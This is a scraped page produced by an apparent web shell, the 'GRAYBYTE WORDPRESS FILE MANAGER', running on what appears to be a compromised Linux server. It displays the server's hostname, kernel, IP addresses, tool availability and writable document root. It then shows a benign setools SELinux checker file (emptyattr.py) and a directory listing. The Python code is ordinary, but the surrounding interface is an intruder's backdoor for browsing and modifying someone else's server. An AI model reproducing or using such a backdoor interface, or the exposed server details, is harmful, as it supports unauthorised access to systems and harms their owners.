✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.9/site-packages/setools/checker//emptyattr.py
# Copyright 2020, Microsoft Corporation
#
# SPDX-License-Identifier: LGPL-2.1-only
#

import logging
from typing import List

from ..exception import InvalidType, InvalidCheckValue
from .checkermodule import CheckerModule
from .util import config_bool_value


ATTR_OPT = "attr"
MISSINOK_OPT = "missing_ok"


class EmptyTypeAttr(CheckerModule):

    """Checker module for asserting a type attribute is empty."""

    check_type = "empty_typeattr"
    check_config = frozenset((ATTR_OPT, MISSINOK_OPT))

    def __init__(self, policy, checkname, config) -> None:
        super().__init__(policy, checkname, config)
        self.log = logging.getLogger(__name__)
        self._attr = None
        self._missing_ok = False

        # this will make the check pass automatically
        # since the attribute is missing.  Only set if
        # missing_ok is True AND attr is missing.
        self._pass_by_missing = False

        self.missing_ok = config.get(MISSINOK_OPT)
        self.attr = config.get(ATTR_OPT)

    @property
    def attr(self):
        return self._attr

    @attr.setter
    def attr(self, value):
        try:
            if not value:
                raise InvalidCheckValue("{}: \"{}\" setting is missing.".format(self.checkname,
                                                                                ATTR_OPT))

            self._attr = self.policy.lookup_typeattr(value)
            self._pass_by_missing = False

        except InvalidType as e:
            if not self.missing_ok:
                raise InvalidCheckValue("{}: attr setting error: {}".format(
                    self.checkname, e)) from e

            self._attr = value
            self._pass_by_missing = True

    @property
    def missing_ok(self):
        return self._missing_ok

    @missing_ok.setter
    def missing_ok(self, value):
        self._missing_ok = config_bool_value(value)

        if self._missing_ok and isinstance(self.attr, str):
            # attr is only a string if it doesn't exist.
            self._pass_by_missing = True
        else:
            self._pass_by_missing = False

    def run(self) -> List:
        self.log.info("Checking type attribute {} is empty.".format(self.attr))

        failures = []

        if self._pass_by_missing:
            self.log_info("    {} does not exist.".format(self.attr))
        else:
            self.output.write("Member types of {}:\n".format(self.attr))

            types = sorted(self.attr.expand())
            if types:
                for type_ in types:
                    self.log_fail(type_.name)
                    failures.append(type_)
            else:
                self.log_ok("    <empty>")

        self.log.debug("{} failure(s)".format(failures))
        return failures

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.14 PM
root / root
0755
__pycache__
--
17 Jan 2026 3.14 PM
root / root
0755
__init__.py
0.21 KB
7 Dec 2023 3.49 PM
root / root
0644
assertrbac.py
3.887 KB
7 Dec 2023 3.49 PM
root / root
0644
assertte.py
4.386 KB
7 Dec 2023 3.49 PM
root / root
0644
checker.py
5.22 KB
7 Dec 2023 3.49 PM
root / root
0644
checkermodule.py
3.897 KB
7 Dec 2023 3.49 PM
root / root
0644
descriptors.py
4.192 KB
7 Dec 2023 3.49 PM
root / root
0644
emptyattr.py
2.705 KB
7 Dec 2023 3.49 PM
root / root
0644
globalkeys.py
0.294 KB
7 Dec 2023 3.49 PM
root / root
0644
roexec.py
3.527 KB
7 Dec 2023 3.49 PM
root / root
0644
util.py
0.336 KB
7 Dec 2023 3.49 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF